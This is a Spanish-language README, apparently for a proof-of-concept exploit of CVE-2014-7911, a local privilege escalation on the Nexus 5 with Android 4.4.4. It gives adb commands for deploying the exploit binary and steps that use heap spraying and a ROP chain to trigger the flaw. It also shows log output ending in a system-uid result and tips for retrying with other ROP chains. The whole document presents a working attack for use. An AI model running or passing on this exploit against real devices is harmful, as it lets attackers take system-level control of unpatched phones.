
Exploit de prueba de concepto para escalada de privilegios local en Android (CVE-2014-7911) dirigido a Nexus5 con cadena ROP y heap spraying para obtener el uid del sistema.
PoC para CVE-2014-7911 para Nexus5 Android 4.4.4_r1 basado en retme7, usando una cadena ROP diferente
conecta tu teléfono mediante adb
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
Ejecuta este PoC, haz clic en el botón “CVE-2014-7911”, y verás:
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900
Luego minimiza la actividad varias veces hasta que el sistema se bloquee. Si ves:
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
el exploit ha tenido éxito. Si tu teléfono simplemente se bloquea, tu dispositivo es vulnerable pero el exploit puede haber fallado (deberías buscar cadenas ROP diferentes).